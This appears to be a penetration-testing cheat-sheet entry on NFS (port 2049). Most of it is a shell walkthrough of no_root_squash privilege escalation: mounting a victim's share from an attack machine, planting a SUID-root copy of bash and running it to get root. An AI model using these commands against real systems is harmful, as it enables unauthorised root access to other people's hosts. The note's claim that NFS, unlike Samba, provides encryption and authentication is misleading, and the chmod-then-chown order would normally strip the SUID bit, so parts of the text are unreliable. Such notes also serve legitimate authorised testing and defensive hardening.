2049 - NFS

Network File System or NFS is a file system protocol that allows users to share directories and files over a network. The NFS protocol is similar to the Samba protocol. However, unlike Samba, NFS provides an encryption mechanism and authentication. In addition, NFS server access is also restricted to specified hostnames and IP addresses.

no_root_squash privesc

By default, NFS shares change requests from the root user into the non-privileged user nfsnobody, the root privileges are "squashed". With no_root_squash configured requests are not "squashed", meaning any client that mount this directory can read, write and modify files within the directory as root on the host machine.

## Confirm that 'no_root_squash' is configured
[lowPrivUser@victimHost nfs]$ cat /etc/exports
/share/nfs	*(rw,insecure,sync,no_subtree_check,no_root_squash)

## Low privileged account isn't able to read nfs directory
[lowPrivUser@victimHost share]$ ls -al
drwxr-xr-x   7 root     root        75 Jun 23 08:56 .
dr-xr-xr-x. 20 root     root       278 Aug 25  2022 ..
drwxr-x---   2 admUser  admUser    189 Feb 19  2021 nfs

## Mount share from local attack machine
➜  /tmp mkdir pe
➜  /tmp mount -t nfs victimHost:/share/nfs /tmp/pe
➜  /tmp cd pe
➜  pe ls -al 
total 5684
drwxr-x---  2 void void     189 Feb 19  2021 .
drwxrwxrwt 21 root root   69632 Jul  3 12:49 ..
-rw-r--r--  1 void void     823 Feb 19  2021 secret.conf

## Change privileges of mounted share so lowPrivUser can copy /bin/bash to share
➜  /tmp chmod 777 pe

[lowPrivUser@victimHost share]$ cd nfs
[lowPrivUser@victimHost nfs]$ cp /bin/bash .

## Change owner and set SUID bit on binary. Execute on victimHost to priesc
➜  pe chmod +s bash
➜  pe chown root:root bash

[lowPrivUser@victimHost nfs]$ ./bash -p
bash-4.4# id
uid=1651499380(lowPrivUser) gid=1102800513(domain users) euid=0(root) egid=0(root) groups=0(root)

## Cleaning
➜  pe rm bash
➜  pe cd ..
➜  /tmp chmod 750 pe
💀➜  /tmp umount pe